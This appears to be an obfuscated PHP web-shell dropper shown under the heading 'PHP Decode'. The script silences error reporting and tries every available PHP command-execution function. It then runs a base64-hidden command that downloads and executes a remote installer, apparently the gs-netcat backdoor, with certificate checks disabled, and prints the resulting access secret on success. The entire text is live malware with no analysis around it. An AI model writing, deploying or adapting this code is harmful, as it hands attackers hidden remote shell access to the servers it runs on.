PHP Decode

<?   
$d_17b31f50 = false; 
if ($d_17b31f50) { 
    error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); 
    @ini_set('display_errors', '1'); 
    @ini_set('log_errors', '1');  
} else { 
    error_reporting(0); 
    @ini_set('display_errors', '0'); 
    @ini_set('log_errors', '0'); 
} 
 
// exec value from "mess" pipes stdout back to regex 
function b_b9caa2a7($o_8ecaead4){ 
    $p_ccde149e = ""; 
    $o_8ecaead4 = $o_8ecaead4." 2>&1"; 
    if(is_callable('system')) { 
        ob_start(); 
        @system($o_8ecaead4); 
        $p_ccde149e = ob_get_contents(); 
        ob_end_clean(); 
        if(!empty($p_ccde149e)) return $p_ccde149e; 
    } 
    if(is_callable('shell_exec')){ 
        $p_ccde149e = @shell_exec($o_8ecaead4); 
        if(!empty($p_ccde149e)) return $p_ccde149e; 
    } 
    if(is_callable('exec')) { 
        @exec($o_8ecaead4,$s_95538831); 
        if(!empty($s_95538831)) foreach($s_95538831 as $w_dcab58a9) $p_ccde149e .= $w_dcab58a9; 
        if(!empty($p_ccde149e)) return $p_ccde149e; 
    } 
    if(is_callable('passthru')) { 
        ob_start(); 
        @passthru($o_8ecaead4); 
        $p_ccde149e = ob_get_contents(); 
        ob_end_clean(); 
        if(!empty($p_ccde149e)) return $p_ccde149e; 
    } 
    if(is_callable('proc_open')) { 
        $l_e0057275 = array( 
            0 => array("pipe", "r"), 
            1 => array("pipe", "w"), 
            2 => array("pipe", "w") 
        ); 
        $f_861d1896 = @proc_open($o_8ecaead4, $l_e0057275, $e_fca9786f, getcwd(), array()); 
        if (is_resource($f_861d1896)) { 
            while ($e_c2c94c1c = fgets($e_fca9786f[1])) { 
                if(!empty($e_c2c94c1c)) $p_ccde149e .= $e_c2c94c1c; 
            } 
            while ($j_697cfa38 = fgets($e_fca9786f[2])) { 
                if(!empty($j_697cfa38)) $p_ccde149e .= $j_697cfa38; 
            } 
        } 
        @proc_close($f_861d1896); 
        if(!empty($p_ccde149e)) return $p_ccde149e; 
    } 
    if(is_callable('popen')){ 
        $q_8c9f3610 = @popen($o_8ecaead4, 'r'); 
        if($q_8c9f3610){ 
            while(!feof($q_8c9f3610)){ 
                $p_ccde149e .= fread($q_8c9f3610, 2096); 
            } 
            pclose($q_8c9f3610); 
        } 
        if(!empty($p_ccde149e)) return $p_ccde149e; 
    } 
    return ""; 
} 
 
// mess 
$i_3087fa6 = "R1NfTk9DRVJUQ0hFQ0s9M"; 
$r_9a012e1c = "SBiYXNoIC1jICIkKGN1"; 
$l_ed061e8a = "cmwgLWZzU0xrIGh0dHBzO"; 
$b_cb62fb7c = "i8vZ3NvY2tldC5pby94KSIK"; 
$n_84c18552 = $i_3087fa6 . $r_9a012e1c; 
$l_1dc8d4e8 = $l_ed061e8a . $b_cb62fb7c; 
$l_bb6f4ec5 = base64_decode($n_84c18552 . $l_1dc8d4e8); 
$o_8ecaead4 = $l_bb6f4ec5; 
$u_136ac113 = b_b9caa2a7($o_8ecaead4); 
$z_a3bcfc8e = '/gs-netcat -s \"(.*?)\" -i/'; // regex 
if (preg_match($z_a3bcfc8e, $u_136ac113, $k_62615ba)) { 
    echo "Success ==> " . $k_62615ba[0]; 
} else { 
    echo "Failed :("; 
} 
 ?>